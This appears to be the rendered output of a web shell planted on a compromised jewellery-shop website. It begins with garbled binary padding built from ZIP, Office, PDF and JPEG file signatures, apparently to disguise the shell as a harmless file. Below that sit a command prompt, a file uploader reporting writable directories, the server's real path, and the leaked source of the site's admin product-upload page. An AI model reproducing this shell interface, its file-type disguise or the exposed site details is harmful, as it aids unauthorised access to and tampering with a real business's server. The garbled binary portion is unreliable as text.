œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/add_product.php
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

include 'connection/config.php';

$product_id = isset($_GET['id']) ? intval($_GET['id']) : 0;

// ==========================
// Fetch product for edit mode
// ==========================
$product = [];
if ($product_id > 0) {
    $stmt = $pdo->prepare("SELECT * FROM products WHERE product_id = ?");
    $stmt->execute([$product_id]);
    $product = $stmt->fetch(PDO::FETCH_ASSOC);
}

// ==========================
// Generate Unique Product ID
// ==========================
function generateUniqueProductId($pdo) {
    do {
        $uniqueId = 'PRD-' . strtoupper(uniqid());
        $stmt = $pdo->prepare("SELECT COUNT(*) FROM products WHERE product_unique_id = ?");
        $stmt->execute([$uniqueId]);
        $exists = $stmt->fetchColumn();
    } while ($exists > 0);
    return $uniqueId;
}

// ==========================
// Handle Form Submission
// ==========================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $product_id       = $_POST['product_id'] ?? null;
    $product_name     = $_POST['product_name'] ?? '';
    $gender_id        = $_POST['gender_id'] ?? '';
    $category_id      = $_POST['category_id'] ?? '';
    $main_category_id = $_POST['main_category_id'] ?? '';
    $sub_category_id  = $_POST['sub_category_id'] ?? '';
    $status           = $_POST['status'] ?? 'active';
    $short_desc       = $_POST['short_description'] ?? '';
    $description      = $_POST['description'] ?? '';
    $seo_title        = $_POST['seo_title'] ?? '';
    $seo_description  = $_POST['seo_description'] ?? '';
    $seo_keywords     = $_POST['seo_keywords'] ?? '';
    $is_rental        = isset($_POST['is_rental']) ? 1 : 0;

    // Allowed file types
    $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp'];

    // ==========================
    // Handle Thumbnail Upload
    // ==========================
    $thumbnail_path = $product['thumbnail_image'] ?? null;
    if (isset($_FILES['thumbnail_image']) && $_FILES['thumbnail_image']['error'] === UPLOAD_ERR_OK) {
        $uploadDir = __DIR__ . '/../uploads/thumbnails/';
        if (!is_dir($uploadDir)) mkdir($uploadDir, 0777, true);

        $ext = strtolower(pathinfo($_FILES['thumbnail_image']['name'], PATHINFO_EXTENSION));
        if (in_array($ext, $allowedExtensions)) {
            // Delete old thumbnail if exists
            if (!empty($thumbnail_path) && file_exists(__DIR__ . '/../' . $thumbnail_path)) {
                unlink(__DIR__ . '/../' . $thumbnail_path);
            }

            $thumbnail_name = uniqid("thumb_") . "." . $ext;
            $thumbnail_path = "uploads/thumbnails/" . $thumbnail_name;
            move_uploaded_file($_FILES['thumbnail_image']['tmp_name'], $uploadDir . $thumbnail_name);
        }
    }

    // ==========================
    // Handle Gallery Uploads
    // ==========================
    $gallery_paths = !empty($product['product_images']) ? json_decode($product['product_images'], true) : [];
    if (!empty($_FILES['gallery_images']['name'][0])) {
        $uploadDir = __DIR__ . '/../uploads/gallery/';
        if (!is_dir($uploadDir)) mkdir($uploadDir, 0777, true);

        foreach ($_FILES['gallery_images']['tmp_name'] as $key => $tmp_name) {
            if ($_FILES['gallery_images']['error'][$key] === UPLOAD_ERR_OK) {
                $ext = strtolower(pathinfo($_FILES['gallery_images']['name'][$key], PATHINFO_EXTENSION));
                if (in_array($ext, $allowedExtensions)) {
                    $gallery_name = uniqid("gallery_") . "." . $ext;
                    $path = "uploads/gallery/" . $gallery_name;
                    move_uploaded_file($tmp_name, $uploadDir . $gallery_name);
                    $gallery_paths[] = $path;
                }
            }
        }
    }
    $gallery_json = !empty($gallery_paths) ? json_encode($gallery_paths) : null;


    // ==========================
    // Insert or Update Product
    // ==========================
    if ($product_id) {
        $sql = "UPDATE products SET 
                    product_name=?, gender_id=?, category_id=?, main_category_id=?, sub_category_id=?, 
                    short_description=?, description=?, is_rental=?, seo_title=?, seo_description=?, seo_keywords=?, 
                    status=?, updated_at=NOW()";
        $params = [
            $product_name,
            $gender_id,
            $category_id,
            $main_category_id,
            $sub_category_id,
            $short_desc,
            $description,
            $is_rental,
            $seo_title,
            $seo_description,
            $seo_keywords,
            $status
        ];
        if ($thumbnail_path) {
            $sql .= ", thumbnail_image=?";
            $params[] = $thumbnail_path;
        }
        if ($gallery_json) {
            $sql .= ", product_images=?";
            $params[] = $gallery_json;
        }
        $sql .= " WHERE product_id=?";
        $params[] = $product_id;

        $stmt = $pdo->prepare($sql);
        $stmt->execute($params);

        header("Location: add_product.php?id=" . $product_id);
        exit;

    } else {
        $unique_id = generateUniqueProductId($pdo);
        $sql = "INSERT INTO products 
                (product_unique_id, product_name, thumbnail_image, category_id, gender_id, main_category_id, sub_category_id, 
                 product_images, short_description, description, is_rental, seo_title, seo_description, seo_keywords, status, created_at, updated_at)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, NOW(), NOW())";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([
            $unique_id,
            $product_name,
            $thumbnail_path,
            $category_id,
            $gender_id,
            $main_category_id,
            $sub_category_id,
            $gallery_json,
            $short_desc,
            $description,
            $is_rental,
            $seo_title,
            $seo_description,
            $seo_keywords,
            $status
        ]);
        $lastId = $pdo->lastInsertId();
        if ($is_rental == 1) {
            header("Location: rental_product_details.php?id=" . $lastId . "&is_rental=1");
            exit;
        } else {
            header("Location: sale_product_details.php?id=" . $lastId . "&is_rental=0");
            exit;
        }
        
    }
}

include "common/header.php";
?>
<div class="page-content">
    <div class="container-xxl">
        <div id="alertBox" class="alert d-none" role="alert"></div>
        <form method="POST" enctype="multipart/form-data">
            <input type="hidden" name="product_id" value="<?= htmlspecialchars($product['product_id'] ?? 0) ?>">
            <div class="row">
                <div class="col-xl-12 col-lg-12">

                    <!-- General Info -->
                    <div class="card">
                        <div class="card-header"><h4 class="card-title">General Info</h4></div>
                        <div class="card-body">
                            <div class="row">
                                <!-- Product Name -->
                                <div class="col-lg-6 mb-3">
                                    <label class="form-label">Product Name</label>
                                    <input type="text" name="product_name" class="form-control" 
                                           placeholder="Item Name" 
                                           value="<?= htmlspecialchars($product['product_name'] ?? '') ?>" 
                                           required>
                                </div>

                                <!-- Gender -->
                                <div class="col-lg-6 mb-3">
                                    <label class="form-label">Gender</label>
                                    <select class="form-control" name="gender_id" id="gender_id" required>
                                        <option value="">Select Gender</option>
                                        <?php
                                        $genders = $pdo->query("SELECT * FROM products_gender")->fetchAll();
                                        foreach ($genders as $g) {
                                            $selected = (isset($product['gender_id']) && $product['gender_id'] == $g['id']) ? 'selected' : '';
                                            echo "<option value='{$g['id']}' $selected>{$g['gender_name']}</option>";
                                        }
                                        ?>
                                    </select>
                                </div>

                                <!-- Category -->
                                <div class="col-lg-4 mb-3">
                                    <label class="form-label">Category</label>
                                    <select class="form-control" name="category_id" id="category_id" required>
                                        <option value="">Select Category</option>
                                        <?php
                                        $cats = $pdo->query("SELECT * FROM product_categories")->fetchAll();
                                        foreach ($cats as $c) {
                                            $selected = (isset($product['category_id']) && $product['category_id'] == $c['id']) ? 'selected' : '';
                                            echo "<option value='{$c['id']}' $selected>{$c['name']}</option>";
                                        }
                                        ?>
                                    </select>
                                </div>

                                <!-- Main Category -->
                                <div class="col-lg-4 mb-3">
                                    <label class="form-label">Main Category</label>
                                    <select class="form-control" name="main_category_id" id="main_category_id" required>
                                        <option value="">Select Main Category</option>
                                        <?php
                                        if(!empty($product['main_category_id'])){
                                            echo "<option value='{$product['main_category_id']}' selected>Main Category Selected</option>";
                                        }
                                        ?>
                                    </select>
                                </div>

                                <!-- Sub Category -->
                                <div class="col-lg-4 mb-3">
                                    <label class="form-label">Sub Category</label>
                                    <select class="form-control" name="sub_category_id" id="sub_category_id" required>
                                        <option value="">Select Sub Category</option>
                                        <?php
                                        if(!empty($product['sub_category_id'])){
                                            echo "<option value='{$product['sub_category_id']}' selected>Sub Category Selected</option>";
                                        }
                                        ?>
                                    </select>
                                </div>
                                
                            </div>
                        </div>
                    </div>

                    <!-- Rental Option -->
                    <div class="card mt-3">
                        <div class="card-header"><h4 class="card-title">Rental Option</h4></div>
                        <div class="card-body">
                            <label>
                                <input type="checkbox" name="is_rental" value="1" 
                                <?= !empty($product['is_rental']) ? 'checked' : '' ?>> Is Rental?
                            </label>
                        </div>
                    </div>

                    <!-- Status -->
                    <div class="card mt-3">
                        <div class="card-header"><h4 class="card-title">Status</h4></div>
                        <div class="card-body">
                            <div class="row">
                                <div class="col-lg-4">
                                    <input type="radio" name="status" value="active" <?= (!isset($product['status']) || $product['status']=='active') ? 'checked' : '' ?>> Active
                                </div>
                                <div class="col-lg-4">
                                    <input type="radio" name="status" value="inactive" <?= (isset($product['status']) && $product['status']=='inactive') ? 'checked' : '' ?>> Inactive
                                </div>
                                <div class="col-lg-4">
                                    <input type="radio" name="status" value="draft" <?= (isset($product['status']) && $product['status']=='draft') ? 'checked' : '' ?>> Future Plan
                                </div>
                            </div>
                        </div>
                    </div>

                    <!-- Thumbnail -->
                    <div class="card mt-3">
                        <div class="card-header"><h4 class="card-title">Product Thumbnail</h4></div>
                        <div class="card-body">
                            <div class="row">
                                <div class="col-lg-3">
                                    <input type="file" id="thumbnailInput" name="thumbnail_image" accept="image/*">
                                </div>
                                <div class="col-lg-9">
                                    <img id="thumbnailPreview" 
                                         src="../<?= !empty($product['thumbnail_image']) ? $product['thumbnail_image'] : '' ?>" 
                                         class="img-thumbnail" 
                                         width="150" 
                                         style="<?= empty($product['thumbnail_image']) ? 'display:none;' : '' ?>">
                                </div>
                            </div>
                        </div>
                    </div>

                    <!-- Gallery -->
                    <div class="card mt-3">
                        <div class="card-header"><h4 class="card-title">Gallery Images</h4></div>
                        <div class="card-body">
                            <div class="row">
                                <div class="col-lg-3">
                                    <input type="file" id="galleryInput" name="gallery_images[]" multiple accept="image/*">
                                </div>
                                <div class="col-lg-9">
                                    <div class="row" id="galleryPreview">
                                        <?php
                                        if (!empty($product['product_images'])) {
                                            $gallery = json_decode($product['product_images'], true);
                                            foreach ($gallery as $img) {
                                                echo "
                                                <div class='col-md-3 mb-3 position-relative gallery-item'>
                                                    <img src='../{$img}' class='img-thumbnail w-100'>
                                                    <button type='button' class='btn btn-sm btn-danger position-absolute top-0 end-0 remove-image' data-img='{$img}' data-id='{$product['product_id']}'>×</button>
                                                </div>";
                                            }
                                        }
                                        ?>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

                    <!-- Description -->
                    <div class="card mt-3">
                        <div class="card-header"><h4 class="card-title">Description</h4></div>
                        <div class="card-body">
                            <textarea class="form-control" name="short_description" placeholder="Short Description"><?= htmlspecialchars($product['short_description'] ?? '') ?></textarea><br>
                            <textarea class="form-control" name="description" id="description" placeholder="Long Description"><?= htmlspecialchars($product['description'] ?? '') ?></textarea>
                        </div>
                    </div>

                    <!-- SEO -->
                    <div class="card mt-3">
                        <div class="card-header"><h4 class="card-title">SEO</h4></div>
                        <div class="card-body">
                            <input type="text" class="form-control" name="seo_title" placeholder="SEO Title" value="<?= htmlspecialchars($product['seo_title'] ?? '') ?>"><br>
                            <textarea class="form-control" name="seo_description" placeholder="SEO Description"><?= htmlspecialchars($product['seo_description'] ?? '') ?></textarea><br>
                            <input type="text" class="form-control" name="seo_keywords" placeholder="SEO Keywords" value="<?= htmlspecialchars($product['seo_keywords'] ?? '') ?>">
                        </div>
                    </div>

                    <!-- Submit -->
                    <div class="p-3 bg-light mb-3 rounded mt-3">
                        <div class="row justify-content-end g-2">
                          <div class="col-lg-2">
                                <button type="submit" class="btn btn-outline-secondary w-100">
                                    <?= !empty($product['product_id']) ? 'Update Product' : 'Save Product' ?>
                                </button>
                            </div>
                        </div>
                    </div>

                </div>
            </div>
        </form>
    </div>
</div>


<script src="assets/js/vendor.js"></script>
<script src="assets/js/app.js"></script>
<script src="ckeditor/ckeditor.js"></script>
<script>
    CKEDITOR.replace('description', { height: '300', width: 'auto' });

    $(document).ready(function(){

        // ---- Fetch Main Categories ----
        function fetchMainCategories(selectedMainId = '', selectedSubId = '') {
            let category_id = $('#category_id').val();
            let gender_id = $('#gender_id').val();
            
            if(category_id && gender_id){
                $.ajax({
                    url: 'ajax.php',
                    type: 'POST',
                    data: { action: 'getMainCategories', category_id: category_id, gender_id: gender_id },
                    success: function(response){
                        $('#main_category_id').html(response);

                        // ✅ Preselect main category if editing
                        if (selectedMainId) {
                            $('#main_category_id').val(selectedMainId);
                            fetchSubCategories(selectedMainId, selectedSubId);
                        } else {
                            $('#sub_category_id').html('<option value="">Select Sub Category</option>');
                        }
                    }
                });
            } else {
                $('#main_category_id').html('<option value="">Select Main Category</option>');
                $('#sub_category_id').html('<option value="">Select Sub Category</option>');
            }
        }

        // ---- Fetch Sub Categories ----
        function fetchSubCategories(main_category_id = '', selectedSubId = '') {
            if(main_category_id){
                $.ajax({
                    url: 'ajax.php',
                    type: 'POST',
                    data: { action: 'getSubCategories', main_category_id: main_category_id },
                    success: function(response){
                        $('#sub_category_id').html(response);

                        // ✅ Preselect sub category if editing
                        if (selectedSubId) {
                            $('#sub_category_id').val(selectedSubId);
                        }
                    }
                });
            } else {
                $('#sub_category_id').html('<option value="">Select Sub Category</option>');
            }
        }

        // ---- Trigger change events on selection ----
        $('#category_id, #gender_id').change(function() {
            fetchMainCategories();
        });
        $('#main_category_id').change(function() {
            fetchSubCategories($('#main_category_id').val());
        });

        // ---- Run automatically on Edit Mode ----
        <?php if (!empty($product['category_id']) && !empty($product['gender_id'])): ?>
            let savedMainId = "<?= $product['main_category_id'] ?? '' ?>";
            let savedSubId = "<?= $product['sub_category_id'] ?? '' ?>";
            fetchMainCategories(savedMainId, savedSubId);
        <?php endif; ?>
    });
</script>

<script>
$(document).on('click', '.remove-image', function(){
    let img = $(this).data('img');
    let id  = $(this).data('id');
    let el  = $(this).closest('.gallery-item');

    if(confirm("Are you sure you want to delete this image?")){
        $.ajax({
            url: 'delete_gallery_image.php',
            type: 'POST',
            data: { product_id: id, image: img },
            success: function(response){
                if(response.trim() === 'success'){
                    el.remove();
                } else {
                    alert("Failed to delete image.");
                }
            }
        });
    }
});
</script>
<script>
document.getElementById("thumbnailInput").addEventListener("change", function(event) {
    const file = event.target.files[0];
    if (file) {
        const reader = new FileReader();
        reader.onload = function(e) {
            const preview = document.getElementById("thumbnailPreview");
            preview.src = e.target.result;
            preview.style.display = "block";
        }
        reader.readAsDataURL(file);
    }
});

document.getElementById("galleryInput").addEventListener("change", function(event) {
    const files = event.target.files;
    const galleryPreview = document.getElementById("galleryPreview");

    // Optional: clear previous previewed (newly selected) images, keep existing DB ones
    // galleryPreview.innerHTML = "";

    for (let i = 0; i < files.length; i++) {
        const reader = new FileReader();
        reader.onload = function(e) {
            const div = document.createElement("div");
            div.classList.add("col-md-3", "mb-3");
            div.innerHTML = `<img src="${e.target.result}" class="img-thumbnail w-100">`;
            galleryPreview.appendChild(div);
        }
        reader.readAsDataURL(files[i]);
    }
});
</script>

</body>
</html>

........